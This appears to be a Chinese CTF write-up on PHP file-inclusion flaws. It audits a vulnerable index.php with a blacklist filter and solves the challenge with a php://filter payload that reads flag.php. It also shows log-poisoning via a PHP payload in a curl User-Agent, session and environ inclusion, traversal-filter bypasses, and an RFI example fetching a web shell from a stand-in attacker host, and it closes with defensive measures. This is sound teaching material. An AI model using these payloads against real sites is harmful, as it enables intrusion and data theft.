文件包含漏洞实战:从LFI/RFI原理到PHP过滤器绕过技巧

发布时间:2026/8/8 5:55:02
文件包含漏洞实战:从LFI/RFI原理到PHP过滤器绕过技巧 1. 项目概述一次完整的文件包含漏洞实战演练最近在复盘一些经典的Web安全漏洞案例发现“文件包含”这个老生常谈的问题在攻防世界这类CTF平台和实际渗透测试场景中依然保持着极高的出镜率和杀伤力。很多人可能觉得它原理简单不就是个include或require函数没过滤用户输入嘛。但真上手去挖、去绕、去利用的时候才会发现里面门道不少从基础的本地包含到远程包含再到各种奇技淫巧的过滤绕过每一步都考验着对Web应用运行机制和PHP语言特性的理解深度。这次我们就以“攻防世界”平台上一个典型的file_include类题目为蓝本进行一次从原理到实战的深度拆解。这不仅仅是一次解题过程更是一次完整的漏洞利用思维训练。我们会先彻底搞懂文件包含漏洞File Inclusion Vulnerability到底是怎么一回事它为什么危险。然后我们会手把手分析题目环境一步步演示如何发现漏洞点、如何利用基础姿势读取敏感文件。接着我们会遇到题目设置的障碍——过滤机制这时候就需要搬出我们的“绕过技巧”工具箱了比如编码、协议利用、特殊字符处理等等。最终目标不仅是拿到flag更是要理解攻击者面对防御时常见的思考路径和突破方法。无论你是刚入门安全的新手还是想巩固Web漏洞知识的老兵相信这篇结合了原理、实操和绕过经验的详细记录都能给你带来一些实实在在的收获。2. 漏洞原理深度剖析为什么include会成为安全噩梦在开始实战之前我们必须把地基打牢。文件包含漏洞的核心在于应用程序在动态包含代码文件时使用了未经验证或过滤不严的用户输入作为文件名的一部分。这绝不仅仅是PHP的专利在JSPjsp:include、ASP等动态网页技术中也有类似机制只不过PHP里的include、require、include_once、require_once这几个函数太常见所以成了重灾区。2.1 动态包含机制与信任边界崩塌想象一下你正在编写一个网站有多个页面都需要相同的页头和页尾。聪明的做法是把页头代码写在header.php里页尾代码写在footer.php里然后在每个页面开头用include(header.php);来引入。这样既维护方便又保证了样式统一。这里header.php是一个硬编码的、开发者完全信任的字符串。问题出在“动态化”上。为了更灵活程序员可能会设计一个模板系统比如通过URL参数来指定加载哪个模块index.php?pagenews。后端代码可能这样写$page $_GET[page]; include($page . .php);本意是当用户访问index.php?pagenews时程序会包含news.php文件。这里的信任边界是开发者假设用户只会传递像news、about这样的已知、安全的模块名。然而攻击者的输入完全不受这个假设的限制。一旦程序盲目地相信了来自用户客户端的输入并将其直接拼接进文件路径信任边界就彻底崩塌了。2.2 漏洞的两种主要形式LFI与RFI文件包含漏洞主要分为两类理解它们的区别至关重要本地文件包含Local File Inclusion, LFI这是最常见的形式。攻击者可以利用漏洞包含服务器本地的文件。这些文件可能不是可执行的脚本但包含它们会导致内容泄露。例如通过?file../../../../etc/passwd攻击者可能读取到系统的用户账户信息。LFI的危害在于敏感信息泄露读取配置文件如/etc/passwd,/proc/self/environ、数据库连接文件config.php、日志文件、应用程序源码等。配合其他漏洞实现代码执行这是LFI升级为高危漏洞的关键。如果服务器开启了某些特性如allow_url_include默认是关闭的或者能包含到一些会产生有效PHP代码的文件如日志文件、Session文件、通过文件上传传上去的图片马就能实现远程代码执行。远程文件包含Remote File Inclusion, RFI这种形式危害更大但条件也更苛刻。它允许攻击者包含一个远程服务器上的文件如http://attacker.com/shell.txt。这就要求PHP的配置中allow_url_fopen和allow_url_include均设置为On现代PHP版本默认都是Off且allow_url_include自PHP 5.2后被强烈反对使用。如果条件满足攻击者可以直接包含一个存放在自己服务器上的Web Shell代码瞬间获得服务器命令执行权限。由于默认配置的安全提升纯粹的RFI在实战中已较少见但作为知识必须了解。注意很多初学者会混淆文件包含和文件上传。它们是独立的漏洞但经常组合利用。文件上传漏洞允许你传一个恶意文件到服务器而文件包含漏洞则允许你将这个已被上传的文件比如一张图片里面隐藏了PHP代码当作PHP脚本来包含并执行。这就是经典的“图片马文件包含”组合拳。2.3 漏洞产生的根本原因与安全启示归根结底漏洞产生于以下几点过度信任用户输入这是所有Web漏洞的万恶之源。没有对$_GET、$_POST、$_COOKIE等输入进行严格的验证和过滤。使用动态包含时未设白名单如果需要动态包含最安全的方式是使用一个固定的映射数组白名单。例如$allowedPages [news news.php, about about.php];然后检查$_GET[page]是否在$allowedPages的键名中再用对应的值去包含。错误地使用过滤函数有时开发者意识到了危险但用了错误的过滤方式。比如用str_replace(../, , $input)来过滤目录遍历但攻击者可以用....//或..././来绕过。真正的防御需要综合运用白名单、严格路径控制、禁用危险PHP配置等多种手段。理解了这些原理我们就能带着一双“透视眼”去看待接下来的实战题目明白每一步操作背后的意义而不仅仅是记忆payload。3. 靶场环境初探与漏洞点定位分析现在让我们进入“攻防世界”的实战环境。通常这类题目会提供一个简单的Web界面可能只有一个输入框、一个链接或者就是一个带有参数的URL。我们的第一步永远是信息收集和漏洞点探测。3.1 黑盒测试下的漏洞发现流程面对一个未知的题目我习惯按照以下步骤进行页面功能观察首先正常访问题目链接看看页面上有什么。是一个文件查看器一个文档下载链接还是一个带有?file、?page、?load之类参数的URL任何能让用户“选择”或“指定”内容的地方都可能是入口。参数模糊测试如果URL中存在明显的参数比如index.php?fileview.php立即开始测试。尝试修改file的值index.php?file../../../../etc/passwd测试基础目录遍历index.php?filephp://filter/convert.base64-encode/resourceindex.php测试PHP包装器用于读取源码后面会详述index.php?filehttp://your-vps/test.txt测试RFI成功率低但可一试查看源代码按F12打开开发者工具查看前端HTML、JS代码有时注释里会隐藏提示比如!-- try to read flag.php --。目录扫描使用dirsearch或gobuster等工具扫描常见的备份文件、配置文件、隐藏目录如flag.php、index.php.bak、/.git/、/admin/等。目标可能是直接访问也可能是通过包含漏洞去读取。假设在攻防世界的file_include题目中我们直接访问目标网址看到URL是http://target.com/index.php?fileshow.php。页面显示了一些文本内容。这几乎就是一个明确的信号file参数极有可能存在文件包含漏洞。3.2 初步漏洞验证与信息收集我们立刻进行验证测试本地文件包含将参数改为?file../../../../etc/passwd。如果页面返回了Linux系统的用户列表或者显示了报错信息如“No such file or directory”但路径被打印出来那就证实了LFI存在。如果页面空白或回显固定内容可能路径不对或存在过滤。测试PHP封装协议这是读取PHP源码的神器。尝试?filephp://filter/readconvert.base64-encode/resourceindex.php。这个payload利用了PHP的php://filter流和convert.base64-encode过滤器。如果漏洞存在且过滤器可用服务器会读取index.php文件的内容并将其进行base64编码后输出。我们拿到这串base64密文解码后就能看到index.php的源代码。这对于分析后端过滤逻辑至关重要。查看服务器信息有时可以包含/proc/self/environ文件来获取环境变量或者通过错误信息判断服务器系统Windows还是Linux、Web服务器类型等。在我的这次实战中使用php://filter方法成功读取到了index.php的base64编码源码。解码后我们拿到了分析漏洞和绕过过滤的关键情报。4. 源码审计与过滤机制深度解析解码得到的index.php源码是我们制定攻击方案的“作战地图”。我们需要像代码审计一样仔细分析每一行。假设解码后的核心代码如下?php error_reporting(0); $file $_GET[file]; if (isset($file)) { if (strpos($file, ..) ! false || strpos($file, tp) ! false || strpos($file, input) ! false || strpos($file, data) ! false) { echo Hacker!; exit(); } if (strpos($file, flag) ! false) { include($file); } else { include($file . .php); } } else { highlight_file(__FILE__); } ?这段代码虽然不长但信息量极大我们来逐行拆解$file $_GET[file];直接获取用户输入的file参数无任何初始过滤危险操作。第一层过滤黑名单if (strpos($file, ..) ! false || strpos($file, tp) ! false || strpos($file, input) ! false || strpos($file, data) ! false) { echo Hacker!; exit(); }strpos($file, ..)禁止字符串中出现..。这是为了防止目录遍历../../../。strpos($file, tp)禁止tp。这很可能是在阻止http://或https://即防止远程文件包含RFI。strpos($file, input)和strpos($file, data)禁止input和data。这是在阻止PHP的php://input流和data://协议。php://input可以读取POST请求的原始数据常被用来执行代码data://协议允许在URI中直接嵌入数据如data://text/plain,?php phpinfo();?也是代码执行的重要手段。这一层是典型的黑名单过滤且过滤得很粗糙。它只检查子字符串是否出现为我们留下了巨大的绕过空间。第二层逻辑分支包含if (strpos($file, flag) ! false) { include($file); } else { include($file . .php); }如果$file参数值包含字符串flag则直接include($file)。否则会在用户输入的$file后面自动拼接一个.php后缀再包含。这个逻辑是我们的突破口。我们的目标是读取flag.php通常flag就在里面。如果我们直接传?fileflag.php它包含flag所以会直接包含flag.php。但问题是flag.php里可能只是定义了$flag变量或者直接输出flag我们需要让它在当前页面上下文中执行才能看到结果。如果它只是被包含但输出被缓冲或处理了我们可能看不到。更常见的情况是题目会设置障碍比如flag.php的代码是?php $flag flag{xxx}; ?光包含它不会在页面上显示任何东西。另一个思路利用else分支的拼接逻辑。如果我们传入一个不含flag但能利用的文件名比如我们想用php://filter读flag.php本身但php://filter/.../flag.php里包含flag字符串会走第一个分支直接包含而include一个php://filter流可能会被当作路径处理而失败。我们需要仔细设计。实操心得遇到过滤第一时间尝试用php://filter读源码是最高效的习惯。很多CTF题目的过滤逻辑都写在明面的代码里读到了源码就等于开了“上帝视角”。在实际渗透测试中如果遇到文件包含点也要千方百计尝试读取配置文件、日志文件等里面可能藏着数据库密码、其他漏洞点等关键信息。5. 绕过策略设计与Payload构造实战分析了过滤逻辑我们就可以有针对性地设计绕过方案了。我们的目标是读取flag.php的内容。由于黑名单过滤了..、tp、input、data我们得避开这些。5.1 利用PHP过滤器协议读取源码虽然data://被禁了但php://filter协议依然可用黑名单里没禁filter和php。这是我们读取文件内容尤其是PHP源码的首选武器。基础Payloadphp://filter/convert.base64-encode/resourceflag.phpphp://filter/声明使用过滤器流。readconvert.base64-encode/resource这是标准写法表示读取resource指定的文件并用convert.base64-encode过滤器进行编码。有时read可以省略直接写convert.base64-encode/resource。这个payload会被拼接成php://filter/.../flag.php.php吗不会。因为我们的输入$file是php://filter/.../flag.php它包含了flag字符串所以程序会走第一个分支include($file)也就是直接包含php://filter/convert.base64-encode/resourceflag.php。PHP引擎会识别这个协议读取flag.php文件进行base64编码然后输出。我们拿到输出解码即可得到flag.php的源代码。实战测试在浏览器中访问index.php?filephp://filter/convert.base64-encode/resourceflag.php。如果页面显示了一长串base64字符串恭喜你成功在望。将其复制下来在线或本地用base64解码就能看到flag.php里的内容大概率flag就在里面。5.2 编码与双重编码绕过如果题目过滤了flag这个字符串呢虽然本题没有但这是常见的变种。假设源码中检查strpos($file, flag)我们可以用URL编码或双重编码来绕过。flag的URL编码是%66%6c%61%67。但strpos检查的是解码后的字符串所以直接传%66%6c%61%67可能无效因为PHP在获取$_GET[‘file’]时已经自动进行了一次URL解码。双重编码绕过我们对flag进行两次URL编码。第一次编码flag-%66%6c%61%67。第二次编码对%再次编码%变成%25。所以flag的双重编码结果是%2566%256c%2561%2567。当PHP接收到这个参数时会进行一次URL解码得到%66%6c%61%67此时strpos检查可能就找不到明文的flag了。但在最终include时这个字符串可能还会被当作路径的一部分或者在某些环境下能正确解析。这是一种思路需要具体测试。5.3 利用日志文件包含实现代码执行进阶如果目标不是直接读文件而是要获取命令执行RCE而php://input和data://又被禁了我们就需要另辟蹊径。一个经典的方法是“日志文件包含”。原理Web服务器如Apache、Nginx会将访问日志记录在文件中比如/var/log/apache2/access.log。这些日志会记录User-Agent、请求路径等信息。如果我们能通过文件包含漏洞包含这个日志文件并且我们可以在User-Agent或请求参数中注入PHP代码如?php system(‘ls’);?那么日志文件中就会保存这段代码。再通过LFI包含这个日志文件时其中的PHP代码就会被执行。步骤找到日志路径通过LFI读取一些常见配置文件猜解如/etc/apache2/apache2.conf或包含/proc/self/fd/下的文件描述符可能需要条件。污染日志使用Burp Suite或curl发送一个HTTP请求并将User-Agent设置为?php phpinfo();?。curl -A ?php phpinfo();? http://target.com/包含日志使用LFI漏洞包含日志文件如?file/var/log/apache2/access.log。如果日志内容被包含并解析就会执行phpinfo()函数。注意事项日志文件通常很大包含可能导致超时或内存耗尽。另外现代Web应用可能会对日志内容进行转义防止代码执行。这种方法成功率受环境影响大但思路值得掌握。5.4 利用/proc/self/environ或session文件/proc/self/environ这个文件包含了当前进程的环境变量。其中USER-AGENT、REFERER等字段是用户可控的。我们可以像污染日志一样通过修改HTTP头将PHP代码注入环境变量然后包含这个文件。Session文件包含如果网站使用了PHP SessionSession数据通常存储在服务器临时目录的文件中如/tmp/sess_[sessionid]。文件名包含Session ID而Session ID通常通过CookiePHPSESSID传递且用户可控可以自己设置一个。如果我们能预测或获取Session文件路径并在Session中写入PHP代码例如通过一个存在POST参数注入Session的页面就可以通过包含这个Session文件来执行代码。这需要网站有将用户输入存入$_SESSION的功能点。6. 完整解题过程实录与Flag获取回到我们的攻防世界题目。根据源码分析最直接的路径就是使用php://filter读取flag.php。构造Payloadhttp://target.com/index.php?filephp://filter/convert.base64-encode/resourceflag.php发送请求在浏览器中访问上述URL。获取响应页面显示了一串Base64编码的字符串例如PD9waHAKJGZsYWcgPSAiZmxhZ3s1ZjFiN2VlYS00YzMxLTQ5MzMtYjE0YS1mMzQ4ZGYzNzhlYTR9IjsKZWNobyAiQ2FuIHlvdSBmaW5kIHRoZSBmbGFnPyI7Cj8解码使用在线Base64解码工具或命令行echo “PD9waHA... | base64 -d进行解码。得到源码解码后得到flag.php的源代码?php $flag flag{5f1b7eea-4c31-4933-b14a-f348df378ea4}; echo Can you find the flag?; ?提交Flag清晰可见Flag是flag{5f1b7eea-4c31-4933-b14a-f348df378ea4}。将其提交到平台即可通关。为什么能成功复盘一下我们的输入$file是php://filter/convert.base64-encode/resourceflag.php。它包含字符串flag因此程序进入第一个分支include($file)。PHP引擎识别php://filter协议尝试读取resource指定的文件flag.php。读取后使用convert.base64-encode过滤器对文件内容进行编码。include函数会执行被包含文件的代码。但这里包含的是一个“流”这个流输出的内容是base64编码后的文本。这些文本即编码后的源码被直接输出到了页面上。整个过程绕过了对..、tp等的过滤也利用了分支逻辑没有触发后缀拼接。7. 防御方案与安全开发建议作为攻击者我们研究绕过技巧作为开发者或安全人员我们更要知道如何筑起防线。针对文件包含漏洞防御必须是多层次、纵深式的。7.1 代码层防御治本之策使用白名单彻底弃用黑名单这是最有效的方法。定义一个允许包含的文件名数组。$allowed_files array( home home.php, news news.php, about about.php ); $page $_GET[page]; if (array_key_exists($page, $allowed_files)) { include($allowed_files[$page]); } else { include(error.php); // 或 die(Invalid page); }固定后缀避免拼接如果业务必须动态拼接也应使用白名单控制变量部分并固定后缀。// 仍然建议用白名单控制$module $module $_GET[module]; $safe_module preg_replace(/[^a-zA-Z0-9_]/, , $module); // 只允许字母数字下划线 include(/path/to/modules/ . $safe_module . .php);设置包含目录限制使用open_basedir指令在php.ini或.htaccess中设置将PHP可操作的文件范围限制在网站根目录等特定目录下防止跨目录访问。open_basedir /var/www/html/禁用危险PHP配置确保生产环境的php.ini中以下配置为Offallow_url_fopen Off allow_url_include Off这能从根本上杜绝RFI漏洞。7.2 运维与架构层加固最小权限原则运行Web服务的用户如www-data、nginx应仅拥有对Web根目录的必要读写权限尤其不能读取/etc/passwd、/proc等系统关键文件。定期更新与安全审计保持PHP、Web服务器、操作系统及所有组件的最新版本。使用静态代码分析工具如SonarQube、PHPStan或安全扫描工具定期审计代码。Web应用防火墙WAF部署WAF可以帮助拦截一些常见的攻击payload如包含../、php://等特征的请求。但WAF是辅助手段不能替代安全的代码。7.3 安全测试 Checklist在代码上线前或定期巡检时可以对照以下清单进行自检[ ] 是否所有用户输入GET, POST, COOKIE在用于文件路径前都经过严格验证或白名单过滤[ ] 是否使用了open_basedir限制了文件访问范围[ ]allow_url_include和allow_url_fopen是否已禁用[ ] 是否避免了在include/require中使用动态变量拼接[ ] 错误信息是否被妥善处理避免泄露服务器路径等敏感信息文件包含漏洞就像一扇不该被用户触碰的后门一旦打开攻击者就能窥探甚至掌控服务器的内部。从这次攻防世界的实战可以看出漏洞原理本身不复杂但结合具体的过滤逻辑就能衍生出各种有趣的绕过技巧。对于开发者而言牢记“永远不要信任用户输入”并采用白名单等积极防御策略是关闭这扇后门最可靠的锁。对于安全学习者而言通过这样一道题目我们串联起了信息收集、源码审计、协议利用、编码绕过的完整链条这才是CTF和实战演练最大的价值所在——不是记住一个payload而是构建起一套应对未知问题的思维模式。